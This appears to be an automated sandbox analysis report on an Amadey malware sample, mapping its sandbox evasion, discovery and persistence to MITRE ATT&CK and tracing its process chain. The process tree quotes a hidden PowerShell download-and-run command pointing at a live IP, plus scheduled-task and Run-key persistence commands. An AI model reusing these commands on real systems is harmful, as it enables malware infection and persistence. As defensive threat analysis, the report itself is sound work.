amadey | 380bd017cb49b4dc69065a7277f120ca8a98c4956df9d383a80ebc0b6459a136

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2072	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2072	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	2072	powershell.exe
7	2612	rapes.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE

Executes dropped EXE 3 IoCs

pid	Process
2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
2612	rapes.exe
2144	dBSGwVB.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Wine	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE

Loads dropped DLL 3 IoCs

pid	Process
2072	powershell.exe
2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
2612	rapes.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
2612	rapes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dBSGwVB.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2072	powershell.exe
2072	powershell.exe
2072	powershell.exe
2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
2612	rapes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 2344	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1624 wrote to memory of 2344	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1624 wrote to memory of 2344	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1624 wrote to memory of 2344	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1624 wrote to memory of 2348	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	32
PID 1624 wrote to memory of 2348	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	32
PID 1624 wrote to memory of 2348	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	32
PID 1624 wrote to memory of 2348	1624	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	32
PID 2344 wrote to memory of 2040	2344	cmd.exe	34
PID 2344 wrote to memory of 2040	2344	cmd.exe	34
PID 2344 wrote to memory of 2040	2344	cmd.exe	34
PID 2344 wrote to memory of 2040	2344	cmd.exe	34
PID 2348 wrote to memory of 2072	2348	mshta.exe	35
PID 2348 wrote to memory of 2072	2348	mshta.exe	35
PID 2348 wrote to memory of 2072	2348	mshta.exe	35
PID 2348 wrote to memory of 2072	2348	mshta.exe	35
PID 2072 wrote to memory of 2964	2072	powershell.exe	37
PID 2072 wrote to memory of 2964	2072	powershell.exe	37
PID 2072 wrote to memory of 2964	2072	powershell.exe	37
PID 2072 wrote to memory of 2964	2072	powershell.exe	37
PID 2964 wrote to memory of 2612	2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE	38
PID 2964 wrote to memory of 2612	2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE	38
PID 2964 wrote to memory of 2612	2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE	38
PID 2964 wrote to memory of 2612	2964	TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE	38
PID 2612 wrote to memory of 2144	2612	rapes.exe	40
PID 2612 wrote to memory of 2144	2612	rapes.exe	40
PID 2612 wrote to memory of 2144	2612	rapes.exe	40
PID 2612 wrote to memory of 2144	2612	rapes.exe	40
PID 2144 wrote to memory of 1640	2144	dBSGwVB.exe	41
PID 2144 wrote to memory of 1640	2144	dBSGwVB.exe	41
PID 2144 wrote to memory of 1640	2144	dBSGwVB.exe	41
PID 2144 wrote to memory of 1640	2144	dBSGwVB.exe	41

C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn GGJ0Kma02H1 /tr "mshta C:\Users\Admin\AppData\Local\Temp\aOCr4M8cR.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn GGJ0Kma02H1 /tr "mshta C:\Users\Admin\AppData\Local\Temp\aOCr4M8cR.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2040
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\aOCr4M8cR.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Users\Admin\AppData\Local\TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE
      "C:\Users\Admin\AppData\Local\TempMMA2QUWPGMKOV7ZURGGA72RC1KCFBLVX.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2964
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2612
      - C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2144
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Public\Netstat\netsup.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1640
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
        8⤵
        
        PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion